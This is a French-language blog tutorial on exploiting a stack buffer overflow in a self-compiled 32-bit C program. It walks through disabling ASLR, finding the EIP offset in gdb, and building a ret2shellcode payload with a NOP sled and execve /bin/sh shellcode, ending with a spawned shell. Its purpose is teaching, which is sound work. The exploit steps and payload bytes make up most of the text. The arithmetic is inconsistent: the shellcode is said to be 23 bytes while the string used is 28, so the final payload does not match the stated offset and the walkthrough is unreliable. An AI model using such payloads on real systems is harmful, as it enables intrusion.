Pwn

Let's pwn the wrld

[FR] Introduction aux Buffer Overflow

Nous allons dans cet article voir qu'est ce qu'un buffer overflow et comment exploiter notre premier binaire.

[FR] Introduction aux Buffer Overflow

Brève introduction

Tout d'abord qu'est ce qu'un buffer overflow? Et à quoi ça sert?

Les buffer overflow sont des failles nous permettant d'exploiter une vulnérablilité presente dans un fichier binaire afin de pouvoir lui faire executer ce que l'on veut (enfin quasiment ^^).
Le plus souvent on lui fait executer un shell, chose qui peut être très utile, par exemple si le binaire à des permissions SUID ou si il tourne sur un port en remote.

Quelques notions de base à connaitre avant d'attaquer cet article:

 - La gestion de la mémoire

 - Le fonctionnement de la stack

 - Et quelques bases en assembleur

Rappel

Pour commencer je vais vous faire un petit rappel sur le déroulement de notre pile (stack) sur un programme qui va tout simplement attendre une entrée utilisateur (stdin) pour ensuite nous l'afficher (stdout)

#include <unistd.h>
#include <stdio.h>

void vuln() {
    char buffer[32];
    read(0, buffer, 128);
    puts(buffer);
}

int main() {
    vuln();
}

Nous allons ensuite compiler ce programme sans aucune protections, et en 32bit

gcc -m32 -fno-stack-protector -no-pie -zexecstack -o vuln vuln.c

Executons ce programme:

$ ./vuln
AAAAAAAAAAA
AAAAAAAAAAA

$

Tout se déroule comme prévu

Et voici à quoi la stack ressemblait lorsque nous avons entrée nos "A":

0xbfff0000: 41 41 41 41
0xbfff0004: 41 41 41 41
0xbfff0008: 41 41 41 00
...
0xbfff0020: 30 00 ff bf  <- sEBP
0xbfff0024: f0 84 04 08  <- sEIP

Si pour vous tout est bon on peut donc passer à la suite!

[FR] Introduction aux Buffer Overflow

Passons à la pratique!

Première phase de l'exploitation

Nous allons desormais nous appuyer sur le programme précédement vu afin de l'exploiter

Pour commencer on va désactiver l'ASLR avec cette commande:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

*ASLR: protection qui va rendre aléatoire certains espace d'adressage

On a vu plus tôt comment le programme fonctionnait en lui donnant quelques "A"

Maintenant voyons voir ce qu'il se passe lorsque nous lui en donnons plus que prévu

$ ./vuln 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
��
Segmentation fault (core dumped)
$

On reçoit un beau segmentation fault (le programme a tout simplement tenté d'acceder à l'adresse 0x41414141, donc nos "A")

Maintenant jettons un petit coup d'oeil à notre stack:

0xbfff0000: 41 41 41 41
0xbfff0004: 41 41 41 41
0xbfff0008: 41 41 41 00
...
0xbfff0020: 41 41 41 41  <- sEBP
0xbfff0024: 41 41 41 41  <- sEIP

On vient tout simplement d'overwrite notre sauvegarde d'EIP

La vulnérabilité se trouve ici:

// vuln()
char buffer[32];
read(0, buffer, 128);

On va lire 128 caracteres du stdin pour en mettre seulement 32 dans la variable buffer, donc logiquement si on entre plus que 32 caractere on va overwrite toutes les addresses qui suivent

Bon, c'est bien beau d'overwrite la sauvegarde de notre return instruction pointer avec des "A" mais maintenant comment va réagir le programme si nous remplacons ces "A" (plus précisément les "A" qui se trouve dans notre sauvegarde d'EIP) par une adresse valide? Une fonction par exemple :)

Je vais pour ce premier exemple utilser la fonction getchar qui va comme read attendre une entrée utilisateur

Récuperation de l'offset

Pour pouvoir remplacer nos "A" par une adresse valide nous devons d'abord trouver le nombre de "A" à parcourir avant d'arriver à la sauvegarde d'EIP, notre "offset", il existe plusieurs méthodes pour pouvoir faire ça, je vais citer ici la plus simple, ça consiste simplement à envoyer un "pattern" au programme, puis voir où le programme plante, pour faire ça je vais utiliser gdb (debugger de GNU) avec l'extension gef

Je vais donc lancer gdb sur notre programme vuln

$ gdb vuln 
Reading symbols from vuln...
(No debugging symbols found in vuln)
GEF for linux ready, type `gef' to start, `gef config' to configure
78 commands loaded for GDB 8.3 using Python engine 3.7
gef➤

On va donc commencer par générer notre pattern avec la commande pattern create <nombre de chars.>

gef➤  pattern c 100
[+] Generating a pattern of 100 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
[+] Saved as '$_gef0'
gef➤  

On va ensuite lancer le programme puis lui envoyer notre pattern avec la commande run

gef➤  r
Starting program: /home/zepp/pwn/exploits/i386/ret2shellcode/vuln 
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaabl # notre jolie pattern généré plus haut
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab

Program received signal SIGSEGV, Segmentation fault.
0x6161616c in ?? ()
...

Donc on voit bien que le programme plante car il tente d'acceder à l'adresse 0x6161616c, qui est en réalité: "laaa" (suite de caractere unique dans notre pattern)

Maintenant on va utiliser la commande pattern search <fault addr> pour pouvoir trouver notre offset

gef➤  pattern s 0x6161616c
[+] Searching '0x6161616c'
[+] Found at offset 44 (little-endian search) likely
# [+] Found at offset 41 (big-endian search) 
gef➤  

Et voila on vient de trouver notre offset!

Il nous faudra donc parcourir 44 "A" avant de tomber sur notre sauvegarde d'EIP

Maintenant pour en être sûr, on va envoyer au programme 44 "A" suivi de 4 "B"

gef➤  r < <(python -c 'print "A"*44+"B"*4')  # On automatise ce processus avec python
Starting program: /home/zepp/pwn/exploits/i386/ret2shellcode/vuln < <(python -c 'print "A"*44+"B"*4')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
@��

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
...

Voila, on voit bien que le programme crash car il tente d'acceder à l'adresse 0x42424242 qui sont en réalité nos "B" en hexa'

Hijack de notre sauvegarde d'EIP

Maintenant on va juste modifier nos "B" par une adresse existante, comme je l'ai cité plus haut, je vais choisir la fonction getchar (de la librairie stdio que l'on load dans notre programme)

Pour récupérer l'adresse de cette fonction je vais tout simplement avec gdb taper la commande info address getchar

gef➤  info address getchar
Symbol "getchar" is at 0xf7e33820 in a file compiled without debugging.
gef➤  

Pour ma part l'addresse de getchar est 0xf7e33820, on va donc mettre ça en little endian (qui est le format utiliser en i386) ce qui nous donne 0x2038e3f7 en envera donc la str "\x20\x38\xe3\xf7" grace à python

On va donc essayer:

gef➤  r < <(python -c 'print "A"*44+"\x20\x38\xe3\xf7"')
Starting program: /home/zepp/pwn/exploits/i386/ret2shellcode/vuln < <(python -c 'print "A"*44+"\x20\x38\xe3\xf7"')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 8��
izeiuheiuzhizhf  # la fonction getchar s'execute
...

On remarque donc que la fonction getchar a bien été appelé, tout marche comme prévu :p

[FR] Introduction aux Buffer Overflow

Premier exploit

Premier exploit

Maintenant que vous avez vu comment modifier la sauvegarde d'EIP d'une fonction afin de jump à n'importe quelle adresse, on va voir comment faire lancer un shell au programme!

Théorie de l'exploit

Voici comment notre exploit se présentera: <nopsled> <shellcode> <fake ret addr>

Pas de panique je vais detailler tout ça, alors on va commencer par envoyer au programme nos nopsled (série d'instructions nop 0x90) qui consiste tout simplement à ne rien faire, et à passer à l'instruction suivante :p

Ensuite le shellcode, c'est tout simplement une suite d'instruction qui va nous permettre de lancer un shell

Et pour finir la fake return address, c'est juste une adresse qui tombe au milieu de nos nopsled (l'adresse qui va overwrite la sauvegarde d'EIP)

Pour récapituler le programme va jump au milieu de nos nopsled (la stack bouge constament c'est pour ça qu'on va jump la où se trouve nos nopsled au lieu de directement jump là où notre shellcode se trouve), ensuite vu que notre stack est executable elle va tout simplement passer à l'instructions suivante, jusqu'à tomber sur notre shellcode qui va nous lancer un superbe shell Oo

Pratique

Bon bah on va mettre tout ça en pratique :p

On va commencer par chercher sur internet un shellcode tout fait, je vais en prendre un sur shell-storm, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80", parfait

Ensuite il faut calculer combien de NOP on doit mettre avant le shellcode, le tout doit faire 44 bytes (notre offset), le shellcode fait 23 bytes, on fait juste une petite soustraction, 44-23=21, on devra donc mettre 21 NOP avant le shellcode

Ensuite la fake return address, la partie la plus chiante, on va lancer notre programme dans gdb, lui envoyer tout nos nopsled, puis voir où ils se trouvent dans notre stack

Ducoup toujours sur gdb, on va lancer le programme en lui envoyant 44 NOPs, puis ensuite grace à la commande x/50x $esp-50 on va afficher 50 blocs de notre stack-50, (je vous invite à aller vous documenter à propos de gdb)

gef➤  r < <(python -c 'print "\x90"*44')
...
gef➤  x/50x $esp-50
0xffffcf1e:     0x90900804      0x90909090      0x90909090      0x90909090
0xffffcf2e:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffcf3e:     0x90909090      0x90909090      0x90909090      0x920a9090
0xffffcf4e:     0x40000804      0x4000f7fa      0x0000f7fa      0x9fb90000
0xffffcf5e:     0x0001f7dd      0xcff40000      0xcffcffff      0xcf84ffff
0xffffcf6e:     0x0001ffff      0x00000000      0x40000000      0x0000f7fa
0xffffcf7e:     0xd0000000      0x0000f7ff      0x40000000      0x4000f7fa
...

On voit notre série de NOP à partir de la première adresse, vu que la stack bouge beaucoup on va prendre une adresse au milieu 0xffffcf2e me parait bien, on met ça en little endian ce qui va rendre "\x2e\xcf\xff\xff"

Mettons tout ça en action!

Exploit final: <21 NOP> <shellcode> <\x2e\xcf\xff\xff>

gef➤  r < <(python -c 'print "\x90"*21+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"+"\x2e\xcf\xff\xff"')
Starting program: /home/zepp/pwn/exploits/i386/ret2shellcode/vuln < <(python -c 'print "\x90"*21+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"+"\x2e\xcf\xff\xff"')
���������������������1�Ph//shh/bin����°
...

$ ls
vuln.c  vuln
$

Et voila le shell c'est bien executé! n'hesiter pas à me faire part de vos avis sur cet article, posez vos questions si il le faut, et dites moi si j'ai fais des erreurs, ce qui est fort probable (ce domaine reste pas celui que je maitrise le mieux :p)